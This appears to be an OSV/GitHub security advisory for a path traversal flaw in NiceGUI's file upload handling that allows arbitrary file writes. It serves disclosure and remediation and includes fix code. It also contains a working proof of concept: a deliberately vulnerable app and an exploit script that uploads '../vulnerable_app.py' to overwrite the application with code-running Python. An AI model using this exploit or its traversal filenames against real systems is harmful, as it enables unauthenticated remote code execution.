GHSA-9ffm-fxg3-xrhh

Suggest an improvement
Source
https://github.com/advisories/GHSA-9ffm-fxg3-xrhh
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-9ffm-fxg3-xrhh/GHSA-9ffm-fxg3-xrhh.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-9ffm-fxg3-xrhh
Aliases
Published
2026-02-05T21:08:53Z
Modified
2026-02-07T00:51:01.115709Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N CVSS Calculator
Summary
NiceGUI's Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write
Details

Summary

NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.

Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.

Details

Vulnerable Component: nicegui/elements/upload_files.py (uploadfiles.py#L79-L82 and uploadfiles.py#L110-L115)

Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()

async def save(self, path: str | Path) -> None:
    target = Path(path)
    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Root Cause: The save() method performs no validation on the provided path parameter. It accepts: - Relative paths with ../ sequences - Absolute paths - Any file system location writable by the process

When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:

save_path = UPLOAD_DIR / e.file.name  # e.file.name = "../app.py"
await e.file.save(save_path)           # Writes outside UPLOAD_DIR

PoC

  • Terminal 1 (App)

    cd /tmp && mkdir -p evilgui && cd evilgui
    python3 -m venv evilgui && source evilgui/bin/activate
    pip install nicegui
    
    cat > vulnerable_app.py << 'EOF'
    from nicegui import ui
    from pathlib import Path
    
    UPLOAD_DIR = Path('./uploads')
    UPLOAD_DIR.mkdir(exist_ok=True)
    
    @ui.page('/')
    def index():
        async def handle_upload(e):
            save_path = UPLOAD_DIR / e.file.name
            await e.file.save(save_path)
            ui.notify(f'File saved: {e.file.name}')
    
        ui.upload(on_upload=handle_upload, auto_upload=True)
    
    ui.run(port=8080, reload=False)
    EOF
    
    python3 vulnerable_app.py &
    
  • Terminal 2 (Exploit)

    cat > exploit.py << 'EOF'
    import requests, re, time
    
    s = requests.Session()
    s.get('http://localhost:8080')
    time.sleep(2)
    
    html = s.get('http://localhost:8080').text
    match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
    upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'
    
    payload = '''from nicegui import ui
    import subprocess
    @ui.page("/")
    def index():
        ui.label(subprocess.check_output(["id"], text=True))
    ui.run(port=8080, reload=False)
    '''
    
    s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
    EOF
    
    python3 exploit.py
    
  • Restart the application to execute the injected code:
    pkill -f vulnerable_app && python3 vulnerable_app.py
    
  • Observe http://localhost:8080

Impact

Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.

Attack Capabilities: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files

Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.

Remediation

For Users

async def handle_upload(e):
    safe_name = Path(e.file.name).name # Strip directory components!
    await e.file.save(UPLOAD_DIR / safe_name)

For Maintainers

async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None:
    target = Path(path).resolve()

    if base_dir is not None:
        base_dir = base_dir.resolve()
        if not target.is_relative_to(base_dir):
            raise ValueError(
                f"Path '{target}' escapes base directory '{base_dir}'"
            )

    target.parent.mkdir(parents=True, exist_ok=True)
    await run.io_bound(target.write_bytes, self._data)

Database specific
{
    "nvd_published_at": "2026-02-06T22:16:11Z",
    "cwe_ids": [
        "CWE-22",
        "CWE-601"
    ],
    "severity": "HIGH",
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-05T21:08:53Z"
}
References

Affected packages

PyPI / nicegui

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.7.0

Affected versions

0.*
0.1.0
0.1.4
0.1.6
0.2.0
0.2.1
0.2.2
0.2.3
0.2.4
0.2.9
0.2.10
0.2.11
0.2.12
0.2.13
0.2.14
0.2.15
0.3.0
0.3.1
0.3.2
0.3.3
0.3.4
0.3.5
0.3.6
0.3.7
0.3.8
0.3.9
0.4.0
0.4.1
0.4.2
0.4.3
0.4.4
0.4.5
0.4.6
0.4.7
0.4.8
0.4.9
0.4.10
0.4.11
0.4.12
0.4.13
0.4.14
0.4.15
0.5.0
0.5.1
0.5.2
0.5.3
0.5.4
0.5.5
0.5.6
0.5.7
0.5.8
0.5.9
0.5.10
0.5.11
0.5.12
0.6.0
0.6.1
0.6.2
0.6.3
0.6.4
0.6.5
0.6.6
0.6.7
0.6.8
0.6.9
0.6.10
0.6.11
0.6.12
0.6.13
0.7.0
0.7.1
0.7.2
0.7.3
0.7.4
0.7.6
0.7.7
0.7.8
0.7.9
0.7.10
0.7.11
0.7.12
0.7.13
0.7.14
0.7.15
0.7.16
0.7.17
0.7.18
0.7.19
0.7.21
0.7.22
0.7.23
0.7.24
0.7.25
0.7.26
0.7.27
0.7.28
0.7.29
0.7.30
0.8.0
0.8.1
0.8.2
0.8.3
0.8.4
0.8.5
0.8.6
0.8.7
0.8.8
0.8.9
0.8.10
0.8.11
0.8.12
0.8.13
0.8.14
0.8.15
0.8.16
0.9.0
0.9.1
0.9.2
0.9.3
0.9.4
0.9.5
0.9.6
0.9.7
0.9.8
0.9.9
0.9.10
0.9.11
0.9.12
0.9.13
0.9.14
0.9.15
0.9.16
0.9.17
0.9.18
0.9.19
0.9.20
0.9.21
0.9.22
0.9.23
0.9.24
0.9.25
0.9.26
0.9.27
0.9.28
1.*
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.0.10
1.1.0
1.1.1
1.1.2
1.1.3
1.1.4
1.1.5
1.1.6
1.1.7
1.1.8
1.1.9
1.1.10
1.1.11
1.2.0
1.2.1
1.2.2
1.2.3
1.2.4
1.2.5
1.2.6
1.2.7
1.2.8
1.2.9
1.2.10
1.2.11
1.2.12
1.2.13
1.2.14
1.2.15
1.2.16
1.2.17
1.2.18
1.2.20
1.2.21
1.2.22
1.2.23
1.2.24
1.3.0
1.3.1
1.3.2
1.3.3
1.3.4
1.3.5
1.3.6
1.3.7
1.3.8
1.3.9
1.3.10
1.3.11
1.3.12
1.3.13
1.3.14
1.3.15
1.3.16
1.3.17
1.3.18
1.4.0
1.4.1
1.4.2
1.4.3
1.4.4
1.4.5
1.4.6
1.4.7
1.4.8
1.4.9
1.4.10
1.4.11
1.4.12
1.4.13
1.4.14
1.4.15
1.4.16
1.4.17
1.4.18
1.4.19
1.4.20
1.4.21
1.4.22
1.4.23
1.4.24
1.4.25
1.4.26
1.4.27
1.4.28
1.4.29
1.4.30
1.4.31
1.4.33
1.4.34
1.4.35
1.4.36
1.4.37
2.*
2.0.0
2.0.1
2.1.0
2.2.0
2.3.0
2.4.0
2.5.0
2.7.0
2.8.0
2.8.1
2.9.0
2.9.1
2.10.0
2.10.1
2.11.0
2.11.1
2.12.0
2.12.1
2.13.0
2.14.0
2.14.1
2.15.0
2.16.0
2.16.1
2.17.0
2.18.0
2.19.0
2.20.0
2.21.0
2.21.1
2.22.0
2.22.1
2.22.2
2.23.0
2.23.1
2.23.2
2.23.3
2.24.0
2.24.1
2.24.2
3.*
3.0.0rc1
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.1.0
3.2.0
3.3.0
3.3.1
3.4.0
3.4.1
3.5.0
3.6.0
3.6.1

Database specific

last_known_affected_version_range
"<= 3.6.1"
source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-9ffm-fxg3-xrhh/GHSA-9ffm-fxg3-xrhh.json"